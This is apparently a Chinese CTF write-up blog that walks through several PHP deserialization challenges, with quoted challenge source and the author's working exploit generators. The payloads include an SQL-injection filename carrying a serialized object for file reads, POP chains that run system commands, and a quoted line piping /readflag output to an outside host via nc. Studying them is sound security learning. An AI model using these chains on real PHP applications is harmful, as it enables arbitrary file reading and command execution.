整理了一些以前的题目,希望有人能看懂我的抽象理解
放了wowaka的rolling girl作封面!
安洵杯2019 不是文件上传
白盒审计
helper.php
业务: upload 数据文件储存上传
getfile 检查文件,返回信息
check 检测文件合法
save 数据插入数据库
insert_array 存入数据库
view_files 包含文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <?php class helper { protected $folder = "pic/" ; protected $ifview = False; protected $config = "config.txt" ; public function upload ($input ="file" ) { $fileinfo = $this ->getfile ($input ); $array = array (); $array ["title" ] = $fileinfo ['title' ]; $array ["filename" ] = $fileinfo ['filename' ]; $array ["ext" ] = $fileinfo ['ext' ]; $array ["path" ] = $fileinfo ['path' ]; $img_ext = getimagesize ($_FILES [$input ]["tmp_name" ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize ($my_ext ); $id = $this ->save ($array ); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id .</p>" ; } public function getfile ($input ) { if (isset ($input )){ $rs = $this ->check ($_FILES [$input ]); } return $rs ; } public function check ($info ) { $basename = substr (md5 (time ().uniqid ()),9 ,16 ); $filename = $info ["name" ]; $ext = substr (strrchr ($filename , '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array ($ext ,$cate_exts )){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace ("." .$ext ,'' ,$filename ); return array ('title' =>$title ,'filename' =>$basename ."." .$ext ,'ext' =>$ext ,'path' =>$this ->folder.$basename ."." .$ext ); } public function save ($data ) { if (!$data || !is_array ($data )){ die ("Something wrong!" ); } $id = $this ->insert_array ($data ); return $id ; } public function insert_array ($data ) { $con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($con )) { die ("Connect MySQL Fail:" .mysqli_connect_error ()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key =>$value ){ $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ; mysqli_query ($con , $sql ); $id = mysqli_insert_id ($con ); mysqli_close ($con ); return $id ; } public function view_files ($path ) { if ($this ->ifview == False){ return False; } $content = file_get_contents ($path ); echo $content ; } function __destruct ( ) { $this ->view_files ($this ->config); } } ?>
show.php
show 查询文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php include ("./helper.php" );$show = new show ();if ($_GET ["delete_all" ]){ if ($_GET ["delete_all" ] == "true" ){ $show ->Delete_All_Images (); } } $show ->Get_All_Images ();class show { public $con ; public function __construct ( ) { $this ->con = mysqli_connect ("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno ($this ->con)){ die ("Connect MySQL Fail:" .mysqli_connect_error ()); } } public function Get_All_Images ( ) { $sql = "SELECT * FROM images" ; $result = mysqli_query ($this ->con, $sql ); if ($result ->num_rows > 0 ){ while ($row = $result ->fetch_assoc ()){ if ($row ["attr" ]){ $attr_temp = str_replace ('\0\0\0' , chr (0 ).'*' .chr (0 ), $row ["attr" ]); $attr = unserialize ($attr_temp ); } echo "<p>id=" .$row ["id" ]." filename=" .$row ["filename" ]." path=" .$row ["path" ]."</p>" ; } }else { echo "<p>You have not uploaded an image yet.</p>" ; } mysqli_close ($this ->con); } public function Delete_All_Images ( ) { $sql = "DELETE FROM images" ; $result = mysqli_query ($this ->con, $sql ); } } ?>
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("./helper.php" );class upload extends helper { public function upload_base ( ) { $this ->upload (); } } if ($_FILES ){ if ($_FILES ["file" ]["error" ]){ die ("Upload file failed." ); }else { $file = new upload (); $file ->upload_base (); } } $a = new helper ();?>
审计流程:
1.大概浏览业务功能
2.寻找危险函数–>进行攻击链追魂,到用户输入
1.public function Get_All_Images()
unserialize 触发__destruct()读取配置,但是传入的文件是config–>伪造helper对象,实现任意文件读取–>反序列化的对象封装再$attr_temp里面,show图片时读取,来自$row["attr"](数据库库文件数组里面的attr)
2.insert_array
sql拼接,插入attr 的反序列化数据–>只要有任意可控的注入点插入数据库就可以加入序列化数据–>$title是$filename去除了后缀的版本
3.view_files
终点 file_get_contents包含任意文件,可以读取
条件:
ifview == ture 伪造helper对象实现
拉取分析
1 2 3 4 5 6 7 8 $key_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $key ); $value_temp = str_replace (chr (0 ).'*' .chr (0 ), '\0\0\0' , $value ); $sql_fields [] = "`" .$key_temp ."`" ; $sql_val [] = "'" .$value_temp ."'" ; } $sql = "INSERT INTO images (" .(implode ("," ,$sql_fields )).") VALUES(" .(implode ("," ,$sql_val )).")" ;
反序列化
1 2 3 4 5 class helper { protected $ifview = True; protected $config = "flag.php" ; }
文件构造:内部是图片,文件名是sql注入反序列化内容
payload构造:
重点: Null Byte (空字节) 替换处理
在PHP序列化中,protected 属性会被序列化为 \x00*\x00属性名(即空字节+星号+空字节)。
如果在文件上传的文件名中直接写入不可见的空字节,往往会被Web服务器或PHP提前截断,但是由于攻击者写入了一个更换str_replace(chr(0).'*'.chr(0), '\0\0\0', $value)
我们可以用\0\0\0取代*
data的对应关系:看存入顺序,在存入实际值的时候,让filenam顶替attr
1 a', 'fake_name', 'jpg', 'fake_path', O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:8:"flag.php";}
使拼接完成的语句实际为
1 2 INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES ('sql_inject', 'fake_file', 'jpg', 'fake_path', 'O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:59:"php://filter/read=convert.base64-encode/resource=flag.php";}')#', '...', '...', '...', '...')
上传图片的时候改名字接好了
注意,这里如果由双引号会提前闭合
利用 MySQL 的特性 :在 SQL 注入时,字符串是可以直接用十六进制(HEX)
注意要加入0x前缀,十六进制数据(0x 开头)是直接作为数值/数据字面量解析的,它的前后不需要、也不能有单引号
注意更改字符数量
1 1', '1', '1', '1',0x4f3a363a2268656c706572223a323a7b733a393a225c305c305c30696676696577223b623a313b733a393a225c305c305c30636f6e666967223b733a353a222f666c6167223b7d)#.jpg
ezphp
大概就是重新做一下题目
源码的注释是我以前写的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php highlight_file (__FILE__ ); error_reporting (0 ); class Sun { public $sun ; public function __destruct (){ die ("Maybe you should fly to the " .$this ->sun); } } class Solar { private $Sun ; public $Mercury ; public $Venus ; public $Earth ; public $Mars ; public $Jupiter ; public $Saturn ; public $Uranus ; public $Neptune ; public function __set ($name ,$key ){ $this ->Mars = $key ; $Dyson = $this ->Mercury; $Sphere = $this ->Venus; $Dyson ->$Sphere ($this ->Mars); } public function __call ($func ,$args ){ if (!preg_match ("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i" , $args [0 ])){ $exploar = new $func ($args [0 ]); $road = $this ->Jupiter; $exploar ->$road ($this ->Saturn); } else { die ("Black hole" ); } } } class Moon { public $nearside ; public $farside ; public function __tostring (){ $starship = $this ->nearside; $starship (); return '' ; } } class Earth { public $onearth ; public $inearth ; public $outofearth ; public function __invoke (){ $oe = $this ->onearth; $ie = $this ->inearth; $ote = $this ->outofearth; $oe ->$ie = $ote ; } } if (isset ($_POST ['travel' ])){ $a = unserialize ($_POST ['travel' ]); throw new Exception ("How to Travel?" ); }
GC 垃圾回收机制绕过(:利用数组下标覆盖,强制对象在 unserialize 过程中就销毁,从而在抛出异常之前**执行 POP 链
ReflectionFunction 原生类:利用反射类执行 readfile
最后对对象调用方法
$exploar->$road($this->Saturn)
road 方法名
rce点基本就是在暗示反射了
1 2 new ReflectionFunction ("readfile" );$reflection ->invoke ("/flag" );
思路:
solar.saturn=/flag
__call($func,$args)
func=ReflectionFunction
arg=readfile(使用函数)
调用一个不存在//不可访问的方法
$Dyson->$Sphere($this->Mars);
Venus=不存在方法名=func=ReflectionFunction
arg=readfile(使用的类)=mars=key=ote=outofearth
一个不可访问的属性设置
sun属性
$oe->$ie = $ote;
对象当作函数调用
$starship()
对象当作字符串
Sun
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class Sun { public $sun ; } class Moon { public $nearside ; } class Earth { public $onearth ; public $inearth ; public $outofearth ; } class Solar { public $Mercury ; public $Venus ; public $Jupiter ; public $Saturn ; public $Mars ; } $inner = new Solar ();$inner ->Jupiter = "fpassthru" ;$inner ->Saturn = 0 ; $outer = new Solar ();$outer ->Mercury = $inner ;$outer ->Venus = "SplFileObject" ;$earth = new Earth ();$earth ->onearth = $outer ;$earth ->inearth = "trigger" ;$earth ->outofearth = "/flag" ;$moon = new Moon ();$moon ->nearside = $earth ;$sun = new Sun ();$sun ->sun = $moon ;$ser = serialize ($sun );$fast_destruct_payload = 'a:2:{i:0;' . $ser . ';i:0;i:0;}' ;echo urlencode ($fast_destruct_payload );?>
nepctf的部分反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php class test { public $readflag ; public $f ; public $key ; public function __construct ( ) { $this ->readflag = new class { public function __construct ( ) { if (isset ($_GET ['file' ])) { $GLOBALS ['file' ] = $_GET ['file' ]; } } public function __wakeup ( ) { phpinfo (); } public function readflag ( ) { function readflag ( ) { if (isset ($GLOBALS ['file' ])) { $file = $GLOBALS ['file' ]; base64_encode (include ($file )); } } } }; } public function __wakeup ( ) { if (is_array ($this ->f)) { $new = []; foreach ($this ->f as $k => $v ) { if (is_string ($v )) { $new [$k ] = strval ($v ); } elseif (is_object ($v )) { $new [$k ] = clone $v ; } else { $new [$k ] = $v ; } } $this ->f = $new ; } if (is_string ($this ->readflag)) { $this ->readflag = strval ($this ->readflag); } if (is_string ($this ->key)) { $this ->key = strval ($this ->key); } } public function __destruct ( ) { $func = $this ->f; $GLOBALS ['filename' ] = $this ->readflag; if ($this ->key == 'class' ) { new $func (); } else if ($this ->key == 'func' ) { $func (); } else { echo base64_encode (file_get_contents ('index.php' )); } } } $ser = isset ($_GET ['land' ]) ? $_GET ['land' ] : 'O:4:"test":N' ;@unserialize ($ser );
注意:strval():获取一个变量的字符串值,或者说强制将一个变量转换成字符串(String)类型
出口
触发readflag对象的readflag()方法的readflag函数 触发include
方法
destruct()
wakeup()
construct() 构建出对象触发
pop推导
在同一个类发生…
构造思路
destruct
可以根据key来new对象或者调用某对象的方法(f)
把readflag属性放入全局变量 $GLOBALS的['filename']
目标代码的结构:
1 2 3 4 5 public function readflag ( ) { function readflag ( ) { if (isset ($GLOBALS ['file' ])) { $file = $GLOBALS ['file' ]; base64_encode (include ($file ));
php动态注册到全局 特性:php中方法中的全局函数 在方法没有调用的情况下 尚未注册,需要先 调用方法,让readflag函数成为 全局函数
反序列化生成/恢复对象,然后通过对象方法触发 function readflag(){...} 这条语句,使 PHP 在运行时注册一个全局函数 readflag()
注意不可以重复申明,方法只需要触发一次
这里使用__destruct() 调用readflag激活函数
我们先传对象test,存在的情况
key设置为class,会new一个f对象出来,可以触发construct
会设置新类为readflag的值
这个类里面只有构造函数,相当于直接执行 $GLOBALS['file'] = $_GET['file'];,修改我们需要的变量名
key设置为func,会调用 func,也就是我们需要的readflag()方法
接下来再设置一个func控制readflag全局函数
知识点 php的Callable 语法
将对象和方法写成 函数数组,进行调用基础训练 西电平台的基础题出现过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 class Dog { public function bark ( ) { echo "汪汪汪!" ; } } $myDog = new Dog (); $myDog ->bark (); $f = [$myDog , "bark" ]; $f ();
利用执行函数的格式执行一个对象的方法
注意事项
1.字符串加入引号
2.对象 = new 类()
3.注意 readflg是在匿名类创建的,那么?
4.填入顺序咋构建
按照一般思路会写出来这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class test { public $readflag; public $f; public $key; } $a = new test(); $b = new test(); $c = new test(); $a->key="class"; $a->f="test"; $b->key="func"; $b->f=[?,"readflag"]; $c->key="func"; $c->f="readflag"; echo(serialize[$a,$b,$c]) ?>
结果这个思路不对
原因:
1.匿名类动态名字随机动态生成
2.如果第一个元素是字符串(类名) ,PHP 会将其解析为 类名::方法名() ,这属于静态调用 。在 PHP 8 及以上版本 ,严禁使用静态调用方式去调用非静态方法,会直接抛出致命错误(Error):Non-static method ... cannot be called statically
3.调用时机:原来的版本 会等 unserialize() 完成后,脚本结束或数组释放时再逐个析构。虽然也是逐个,但顺序和时机都不够可控,而且可能被引用关系拖住,导致链断
实际做法——引入概念
1. r:N / R:N 与反序列化引用表
PHP 反序列化时会维护一个内部引用表,r:2、R:3 里的数字不是数组下标,而是对象、数组、引用等结构在解析过程中进入引用表的顺序编号。
r:N 表示普通对象引用 ,指向前面已经出现过的同一个对象 handle,不是对象副本
所以改对象属性时,两个位置都能看到变化, 这就像给同一个文件建了两个快捷方式。如修改了对象里的属性,两边都会变
但把其中一个快捷方式指向了另一个新文件(重新赋值),另一个快捷方式 不会 受影响。它不是 & 引用,如果把其中一个位置重新赋值成新对象,另一个位置不会跟着变
R:N 绑定的不是对象本身,类似一个地址
R:N 重新赋值也会互相影响。本题里 r:2 用来复用前面的 seed 对象,R:3 用来接住后续运行时产生的匿名对象相关引用
由于匿名对象是程序运行中“动态”生成的,我们没法预知它的名字。但我们知道,它生成后会被塞进某个已经被记账员编号,就是说装着匿名对象的那个内部槽位被 R:3 接住了
2. 数组键名覆盖与中途触发析构
正常情况下,unserialize() 解析出的对象不会一出现就执行 __destruct(),一般要等对象失去引用,或者脚本结束时统一销毁。
本题 payload 利用的是数组重复 key 覆盖,于是它的 __destruct() 会在 unserialize() 解析过程中立刻触发。这样的做法ezphp 已有,就是 #FastDestruct
这样就能人为安排析构顺序:先让 c1 死,执行 __construct();再让 c2 死,执行匿名对象的 readflag();最后让 c3 死,调用全局 readflag()。
所以重复 key 是控制执行时机的关键
3. __wakeup() 里的 clone 对链子的影响
这个题的 __wakeup() 会检查 $this->f,如果 $f 是数组,就逐个处理数组元素:字符串转字符串,对象则执行 clone $v。
因此 c1 里虽然写的是 [r:2, "__construct"],看起来像是在调用 seed 对象的 __construct(),但经过 __wakeup() 后,对象元素会被克隆,实际变成 [clone(seed), "__construct"]。
所以 c1 析构时执行 $func(),真正调用的是克隆出来的 test 对象的 __construct()。这一步很重要,因为 test::__construct() 会创建匿名类对象,并把它赋给这个克隆对象的 readflag 属性。也就是说匿名对象不是 payload 静态写进去的,而是在目标运行时现场生成的。
4. 匿名对象捕获与完整 POP 顺序
匿名类对象的类名包含文件路径和行号,形式类似 class@anonymous\0/path/index.php:line$0,静态猜它很不稳定,PHP 7/8 行为还可能不同
新版链子绕开了直接写匿名类名的问题:
way
先用 c1 调 clone(seed)->__construct(),让目标进程现场 new 出匿名对象;
再用 c2 的 [R:3, "readflag"] 去调用这个匿名对象的 readflag() 方法,从而定义全局函数 readflag();
最后 c3 的 $f = "readflag" 调用全局函数,完成 include($_GET['file'])。这里 R:3 是当前 payload 布局和 PHP 版本下验证出的引用表位置
整个链子的核心就是:c1 造对象,c2 定义函数,c3 调函数
利用数组覆盖(i:1;N;)强行控制 3 个 test 对象的析构顺序,让 c1 先跑出一个匿名对象,c2 再跑起来用这个匿名对象定义全局函数,c3 最后跑起来调这个全局函数读文件。用 PHP 内部引用编号(R:x)精准指向它,而这个编号无法提前确定,只能在实际环境中通过探测获得
1 2 3 4 5 6 7 8 seed c1: r:2->__construct() 覆盖 c1,触发析构,创建匿名对象 c2: R:3->readflag() 覆盖 c2,触发析构,定义全局 readflag() c3: readflag() 覆盖 c3,触发析构,include($_GET['file']) 最后覆盖 seed
php代码构造会比较复杂
定好大致框架
原本是一个对象带有三个属性
1 2 3 4 5 O:4:"test":3:{ s:8:"readflag"; <readflag值> s:1:"f"; <f值> s:3:"key"; s:4:"func"; }
来将过程拆分为一件一件的:
放入seed对象提前占用引用表位置 ,这一层是id2,让后面 r:2 有东西可引用
1 [i:0;O:4;"test":3:{}](i:0;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:10:"phpversion";s:3:"key";s:4:"func";})
注意
1 2 #1 = 最外层数组 a:8:{...} #2 = 第一个出现的 test 对象,也就是 seed
强行在目标服务器内存,从而动态生成 匿名类对象,放入php引用表
c1 调用 seed触发 构造函数
1 2 3 4 5 6 7 i:1 ; O:4 :"test" :3 :{ s:8 :"readflag" ;s:9 :"CONSTRUCT" ; s:1 :"f" ;a:2 :{i:0 ;r:2 ;i:1 ;s:11 :"__construct" ;} s:3 :"key" ;s:4 :"func" ; } i:1 ;N;
实际上就是
这里放弃了使用class直接调用,间接动态生成匿名类就可以抓到了,因为之前给了编号(r:2)
1 2 3 4 5 6 7 8 $arr [1 ] = new test ();$arr [1 ]->readflag = "CONSTRUCT" ; $arr [1 ]->f = [$seed , "__construct" ]; $arr [1 ]->key = "func" ;$arr [1 ] = null ;
站在后面的位置就是相等了
c2
1 2 3 4 5 6 7 i:2 ; O:4 :"test" :3 :{ s:8 :"readflag" ;s:9 :"CONSTRUCT" ; s:1 :"f" ; a:2 :{i:0 ;R:3 ;i:1 ;s:8 :"readflag" ;} s:3 :"key" ; s:4 :"func" ; } i:2 ;N;
c3
1 2 3 4 5 6 7 i:3 ; O:4 :"test" :3 :{ s:8 :"readflag" ; s:9 :"CONSTRUCT" ; s:1 :"f" ; s:8 :"readflag" ; s:3 :"key" ; s:4 :"func" ; } i:3 ;N;
最后:
1 a:8:{i:0;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:10:"phpversion";s:3:"key";s:4:"func";}i:1;O:4:"test":3:{s:8:"readflag";s:9:"CONSTRUCT";s:1:"f";a:2:{i:0;r:2;i:1;s:11:"__construct";}s:3:"key";s:4:"func";}i:1;N;i:3;O:4:"test":3:{s:8:"readflag";s:6:"DEFINE";s:1:"f";a:2:{i:0;R:3;i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:3;N;i:5;O:4:"test":3:{s:8:"readflag";s:6:"INVOKE";s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}i:5;N;i:0;N;}
奶龙杯 unserialize
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 <?php error_reporting (0 );class SecurityValidator { private $mode ; private $data ; public function __construct ( ) { $this ->mode = 'safe' ; $this ->data = null ; } public function __wakeup ( ) { if ($this ->mode !== 'safe' ) { die ("Security violation detected" ); } } public function getMode ( ) { return $this ->mode; } public function getData ( ) { return $this ->data; } } class CommandExecutor { private $validator ; private $command ; private $enabled ; public function __construct ( ) { $this ->validator = new SecurityValidator (); $this ->command = 'echo "Hello"' ; $this ->enabled = false ; } public function __destruct ( ) { if (!$this ->enabled) { return ; } if (!($this ->validator instanceof SecurityValidator)) { die ("Invalid validator type" ); } if ($this ->validator->getMode () === 'safe' ) { die ("Safe mode active" ); } system ($this ->command); } } class Mutator { public $ref ; public function __wakeup ( ) { if (is_string ($this ->ref)) { $this ->ref = "hacked" ; } } } if (isset ($_POST ['data' ])) { $obj = unserialize ($_POST ['data' ]); unset ($obj ); exit ; } highlight_file (__FILE__ );
对data反序列化
3个类
Mutator
1wakeup
ref不能是字符串
CommandExecutor
1construct
制造了某一个实例
注意会修改enable的值为false
2destruct()
对象的enabled属性为true
validator 属性是 SecurityValidator的对象,而且getmode方法调用不得到safe
==Securityalidator ==
1construct
赋值为safe
data清除
2wakeup
要求对应对象的属性模式为safe
分别构造对象出来,让他们扯上关系就到反序列化链条里面了
应该是先提出要求
c对象的enabled属性为true
validator 属性是 s,而且s 对getmode方法调用不得到safe
执行命令
目标:修改 mode的值不算safe /或者不经过construct直接wakeup 这里使用M来修改mode的值
修改 c对象的enabled属性为true /或者对应的对象不触发 construct 直接死了
C
enabled=1
validator=s
command=whoami
M
ref=s.mode
S
mode=safe
s - wakeup (mode=safe)
m -wakeup (s.mode->hacked)
c -unset destruct
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php class SecurityValidator { private $mode = 'safe' ; private $data = null ; } class CommandExecutor { private $validator ; private $command ; private $enabled ; public function __construct (string $command ) { $this ->validator = new SecurityValidator (); $this ->command = $command ; $this ->enabled = true ; } public function validator (): SecurityValidator { return $this ->validator; } } class Mutator { public $ref = 'safe' ; } $command = $argv [1 ] ?? 'cat /flag' ; $executor = new CommandExecutor ($command ); $mutator = new Mutator (); $bind = Closure ::bind ( //将匿名函数绑定到对像 function (Mutator $mutator ) { $this ->mode = &$mutator ->ref; }, $executor ->validator (), SecurityValidator ::class ); $bind ($mutator ); echo urlencode (serialize ([$executor , $mutator ])), PHP_EOL;
注意细节
1.语法准确/类闭合
2.私有属性使用反射赋值
3.指向对象相同的写法
代码更清爽而且好记
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class SecurityValidator { private $mode = 'safe' ; private $data = null ; } class CommandExecutor { private $validator ; private $command ; private $enabled ; } class Mutator { public $ref = 'safe' ; } $command = $argv [1 ] ?? 'whoami' ;$s = new SecurityValidator ();$m = new Mutator ();$c = new CommandExecutor ();(function ($validator , $command ) { $this ->validator = $validator ; $this ->command = $command ; $this ->enabled = true ; })->call ($c , $s , $command ); (function ($mutator ) { $this ->mode = &$mutator ->ref; })->call ($s , $m ); echo urlencode (serialize ([$c , $m ])), PHP_EOL;
qop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php highlight_file (__FILE__ ); class Person { public $name ; public $id ; public $age ; } class PersonA extends Person { public function __destruct () { $id = $this ->id; ($this ->name)->$id ($this ->age); } } class PersonB { private $name ; private $id ; private $age ; public function __set ($key , $value ) { $this ->name = $value ; } public function __invoke ($id ) { $name = $this ->id; $name ->name = $id ; $name ->age = $this ->name; } } class PersonC extends Person { public function check ($age ) { ($this ->name)($age ); } public function __wakeup () { $name = $this ->id; $name ->age = $this ->age; $name ($this ); } } if (isset ($_GET ['person' ])) { $person = unserialize ($_GET ['person' ]); }
核心是执行命令,从而读取flag
invoke 类的对象当做函数
set 向这个类的不可访问/不存在的属性赋值
注意找到可以rce的函数 开始反推
填充参数
wakeup()-set-invoke
触发
destruct()-check()
1 2 3 4 5 A 在析构前必须变成: Aname = C对象 Aid = check Aage = whoami 注意赋值 类(变量)的属性 这里有name和age的赋值
1 2 3 4 5 6 7 初始构造: Cname=system Cid=b对象 Cage=whoami Bid=a对象 (目的是a出现在结构,令a可以销毁) Aid=check
wakeup
Bage=whoami
set
Bname=whoami
intoke
b©
Aname=c
Aage=Bname=whoami
写入初始构造即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class PersonA { public $name ; public $id ; public $age ; } class PersonB { private $name ; private $id ; private $age ; } class PersonC { public $name ; public $id ; public $age ; } $a = new PersonA ;$b = new PersonB ;$c = new PersonC ;$c ->name= "system" ;$c ->age= "whoami" ;$a ->id="check" ;$c ->id= $b ;$rp = new ReflectionProperty (PersonB::class , 'id' );$rp ->setAccessible (true );$rp ->setValue ($b , $a );echo (serialize ($c ));?>
suctf2019 Upload Labs 2
神了,目录不能高速扫描,加入延迟参数
1 py -3.13 dirsearch.py -u http://b5d27013-4e72-45b0-83ce-b673843f142f.node5.buuoj.cn:81 -t 1 --delay=0.5
太慢了算了,这好像是白盒,直接源码吧
admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 <?php include 'config.php' ;class Ad { public $ip ; public $port ; public $clazz ; public $func1 ; public $func2 ; public $func3 ; public $instance ; public $arg1 ; public $arg2 ; public $arg3 ; function __construct ($ip , $port , $clazz , $func1 , $func2 , $func3 , $arg1 , $arg2 , $arg3 ) { $this ->ip = $ip ; $this ->port = $port ; $this ->clazz = $clazz ; $this ->func1 = $func1 ; $this ->func2 = $func2 ; $this ->func3 = $func3 ; $this ->arg1 = $arg1 ; $this ->arg2 = $arg2 ; $this ->arg3 = $arg3 ; } function check ( ) { $reflect = new ReflectionClass ($this ->clazz); $this ->instance = $reflect ->newInstanceArgs (); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func1); $reflectionMethod ->invoke ($this ->instance, $this ->arg1); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func2); $reflectionMethod ->invoke ($this ->instance, $this ->arg2[0 ], $this ->arg2[1 ], $this ->arg2[2 ], $this ->arg2[3 ], $this ->arg2[4 ]); $reflectionMethod = new ReflectionMethod ($this ->clazz, $this ->func3); $reflectionMethod ->invoke ($this ->instance, $this ->arg3); } function __wakeup ( ) { system ("/readflag | nc $this ->ip $this ->port" ); } } if ($_SERVER ['REMOTE_ADDR' ] == '127.0.0.1' ){ if (isset ($_POST ['admin' ])){ $ip = $_POST ['ip' ]; $port = $_POST ['port' ]; $clazz = $_POST ['clazz' ]; $func1 = $_POST ['func1' ]; $func2 = $_POST ['func2' ]; $func3 = $_POST ['func3' ]; $arg1 = $_POST ['arg1' ]; $arg2 = $_POST ['arg2' ]; $arg2 = $_POST ['arg3' ]; $admin = new Ad ($ip , $port , $clazz , $func1 , $func2 , $func3 , $arg1 , $arg2 , $arg3 ); $admin ->check (); } } else { echo "You r not admin!" ; }
class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php include 'config.php' ;class File { public $file_name ; public $type ; public $func = "Check" ; function __construct ($file_name ) { $this ->file_name = $file_name ; } function __wakeup ( ) { $class = new ReflectionClass ($this ->func); $a = $class ->newInstanceArgs ($this ->file_name); $a ->check (); } function getMIME ( ) { $finfo = finfo_open (FILEINFO_MIME_TYPE); $this ->type = finfo_file ($finfo , $this ->file_name); finfo_close ($finfo ); } function __toString ( ) { return $this ->type; } } class Check { public $file_name ; function __construct ($file_name ) { $this ->file_name = $file_name ; } function check ( ) { $data = file_get_contents ($this ->file_name); if (mb_strpos ($data , "<?" ) !== FALSE ) { die ("<? in contents!" ); } } }
fun 查询文件类型
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php include 'class.php' ;if (isset ($_POST ["submit" ]) && isset ($_POST ["url" ])) { if (preg_match ('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i' ,$_POST ['url' ])){ die ("Go away!" ); }else { $file_path = $_POST ['url' ]; $file = new File ($file_path ); $file ->getMIME (); echo "<p>Your file type is '$file ' </p>" ; } } ?>
配置
1 2 <?php libxml_disable_entity_loader(true);
index
